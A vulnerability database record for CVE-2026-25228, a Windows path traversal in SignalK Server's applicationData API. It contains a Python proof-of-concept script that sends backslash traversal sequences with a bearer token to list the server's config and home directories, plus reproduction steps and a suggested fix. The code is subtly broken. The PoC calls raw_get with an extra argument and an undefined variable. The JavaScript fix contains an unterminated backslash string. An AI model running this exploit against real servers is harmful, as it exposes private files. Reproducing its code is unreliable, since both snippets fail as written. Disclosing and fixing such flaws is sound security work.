{"id":"CVE-2026-25228","aliases":["GHSA-vrhw-v2hw-jffx"],"url":"https://o3.security/vulnerability/CVE-2026-25228","summary":"SignalK Server has Path Traversal leading to information disclosure","details":"### Summary\nA Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.\n\n### Details\n**Platform**: Windows (Linux only allows traversal up a single directory)\n**Authentication Required**: Yes (ability to write depends on user's permission)\n\nThe vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes:\n\n```javascript\n// Simplified vulnerable code pattern\nfunction validateAppId(appid) {\n  if (appid.includes('/') || appid.length >= 30) {\n    return false;\n  }\n  return true;\n}\n\n// Later used in path construction\nconst dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);\n```\n\n**Root Cause:**\n- The validation only blocks `/` characters\n- On Windows, `path.join()` uses the platform's native path separator\n- Windows treats both `/` and `\\` as valid directory separators\n- Backslash-based traversal sequences like `..\\..\\..` pass validation\n- When `path.join()` processes these on Windows, each `..` traverses up one directory level\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport http.client\nimport json\nimport sys\nfrom urllib.parse import urlparse\n\nPREFIX = \"/signalk/v1/applicationData\"\n\n\ndef raw_get(base, path, token):\n    \"\"\"\n    GET using http.client so that '..' and backslashes in the URL\n    are sent literally (requests/urllib would normalise them away).\n    \"\"\"\n    parsed = urlparse(base)\n    host, port = parsed.hostname, parsed.port or 80\n    conn = http.client.HTTPConnection(host, port)\n    conn.request(\"GET\", path, headers={\"Authorization\": f\"Bearer {token}\"})\n    resp = conn.getresponse()\n    status = resp.status\n    body = resp.read().decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return status, body\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"Signal K Windows path traversal PoC\")\n    ap.add_argument(\"--target\", required=True, help=\"e.g. http://192.168.1.100:3000\")\n    ap.add_argument(\"--token\", required=True, help=\"any valid JWT token\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    # On Windows, path.join(configPath, \"applicationData\", \"users\", id, appid)\n    # resolves each '..' upward when separated by backslashes.\n    #\n    # Depth from base (configPath/applicationData/users/):\n    #   ..              → applicationData/users/          (1 level)\n    #   ..\\..           → applicationData/                (2 levels)\n    #   ..\\..\\..        → configPath (.signalk)           (3 levels)\n    #   ..\\..\\..\\..     → user home directory             (4 levels)\n\n    traversals = [\n        (\"..\\\\..\\\\..\\\\\", \".signalk config directory\"),\n        (\"..\\\\..\\\\..\\\\..\\\\\", \"user home directory\"),\n    ]\n\n    for appid, description in traversals:\n        path = f\"{PREFIX}/user/{appid}\"\n        status, body = raw_get(base, path, token, args.token)\n\n        print(f\"[{status}] {description}\")\n        print(f\"  GET {path}\")\n\n        if status == 200:\n            try:\n                entries = json.loads(body)\n                for entry in entries:\n                    print(f\"    {entry}\")\n            except json.JSONDecodeError:\n                print(f\"    {body[:200]}\")\n        else:\n            print(f\"    {body[:200]}\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Reproduction Steps:**\n\n1. Set up SignalK Server on a Windows machine\n2. Obtain a valid device or user authentication token\n3. Run the PoC script:\n   ```bash\n   python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token <YOUR_TOKEN>\n   ```\n\n### Recommended Fix\n\n**Short-term:**\n1. Add backslash validation to `validateAppId()`:\n   ```javascript\n   function validateAppId(appid) {\n     if (appid.includes('/') || appid.includes('\\') || appid.length >= 30) {\n       return false;\n     }\n     return true;\n   }\n   ```\n\n2. Use `path.normalize()` and validate that resolved paths remain within the intended directory:\n   ```javascript\n   const resolvedPath = path.normalize(path.join(baseDir, appid));\n   if (!resolvedPath.startsWith(path.normalize(baseDir))) {\n     throw new Error('Invalid path');\n   }\n   ```","published":"2026-02-02T23:02:52.062Z","modified":"2026-09-17T03:45:52.092629692Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"},"epss":{"score":0.00384,"percentile":0.31146,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"signalk-server","fixedVersion":"2.20.3"}],"fix":{"url":"https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7","label":"SignalK/signalk-server@9bcf61c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25228.json"},{"type":"ADVISORY","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25228"},{"type":"FIX","url":"https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-17T03:45:52.092629692Z"}}